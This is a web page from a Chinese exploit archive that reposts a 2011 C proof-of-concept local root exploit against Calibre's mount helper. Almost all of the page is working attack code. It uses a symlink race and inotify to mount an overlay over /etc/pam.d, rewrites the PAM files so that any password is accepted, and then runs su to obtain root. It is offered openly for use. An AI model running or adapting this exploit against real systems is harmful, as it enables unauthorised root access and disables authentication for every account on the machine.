首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Calibre E-Book Reader Local Root
来源:vfocus.net 作者:zx2c4 发布时间:2011-11-07  

/*
 * ########################################################
 * #               .80 Calibrer Assault Mount             #
 * #                         by zx2c4                     #
 * ########################################################
 *
 * Yesterday's assult mount used inotify to mount into /etc/pam.d. Today we
 * expand the attack by adding a race toggler so we can mount from non-block
 * devices.
 *
 * Enjoy.
 *
 * - zx2c4
 * 2011-11-4
 *
 * greets to djrbliss
 *
 */


#include <stdio.h>
#include <sys/inotify.h>
#include <unistd.h>
#include <stdlib.h>
#include <signal.h>

int main(int argc, char **argv)
{
 printf("########################################################\n");
 printf("#               .80 Calibrer Assault Mount             #\n");
 printf("#                         by zx2c4                     #\n");
  printf("########################################################\n\n");
 
 
 printf("[+] Cleaning up old cruft.\n");
 unlink("/dev/shm/overlay");
 system("calibre-mount-helper cleanup /dev/ram0 /media/staging/");
 
 printf("[+] Creating overlay container.\n");
 system("dd if=/dev/zero of=/dev/shm/overlay count=25600");
 system("/usr/sbin/mkfs.ntfs /dev/shm/overlay");
 
 printf("[+] Mounting staging using race condition toggler...\n");
 int childpid = fork();
 if (childpid) {
  int ret;
  while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /media/staging/ 2>&1")) == 256 || ret == 8192);
  kill(childpid, SIGKILL);
 } else {
  while (1) {
   rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
   symlink("/dev/ram0", "/dev/shm/overlay");
   unlink("/dev/shm/overlay");
   rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
  }
  return 0;
 }
 
 printf("[+] Preparing overlay with /etc/pam.d modification:\n");
 system("cp -v /etc/pam.d/* /media/staging/");
 system("sed -i \"s/pam_deny.so/pam_permit.so/g\" /media/staging/common-auth");
 system("sed -i \"s/pam_cracklib.so.*/pam_permit.so/g\" /media/staging/system-auth");
 system("sed -i \"s/pam_unix.so.*/pam_permit.so/g\" /media/staging/system-auth");
 
  
 printf("[+] Mounting overlay over /etc/pam.d using race condition toggler and inotify...\n");
 childpid = fork();
 if (childpid) {
  int childpid2 = fork();
  if (childpid2) {
   int ret;
   while ((ret = system("calibre-mount-helper mount /dev/shm/overlay /etc/pam.d/ 2>&1")) == 256 || ret == 8192);
   kill(childpid, SIGKILL);
   kill(childpid2, SIGKILL);
  } else {
   while (1) {
    int fd;
    fd = inotify_init();
    unlink("/media/staging/fake");
    mkdir("/media/staging/fake");
    inotify_add_watch(fd, "/media/staging/fake", IN_CREATE);
    read(fd, 0, 0);
    rename("/media/staging/fake", "/media/staging/tmp");
    symlink("/etc/pam.d", "/media/staging/fake");
    rmdir("/media/staging/tmp");
    close(fd);
   }
  }
 } else {
  while (1) {
   rename("/dev/shm/overlay", "/dev/shm/overlay-holder");
   symlink("/dev/ram0", "/dev/shm/overlay");
   unlink("/dev/shm/overlay");
   rename("/dev/shm/overlay-holder", "/dev/shm/overlay");
  }
  return 0;
 }
 
 printf("[+] Asking for root. When prompted for a password, type anything and press enter.\n");
 system("su");
 
 return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·aidiCMS v3.55 (ajax_create_fol
·MS11-021 Microsoft Office 2007
·phpMyFAQ <= 2.7.0 (ajax_create
·KnFTP 1.0 Buffer Overflow Expl
·Zenphoto <= 1.4.1.4 (ajax_crea
·Mini-Stream 3.0.1.1 Buffer Ove
·Linux Kernel 2.6.11 Local root
·DreamBox DM800 <= 1.5rc1 Remot
·Oracle Hyperion Strategic Fina
·Calibre E-Book Reader Local Ro
·Oracle XDB.XDB_PITRIG_PKG.PITR
·Calibre E-Book Reader Local Ro
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved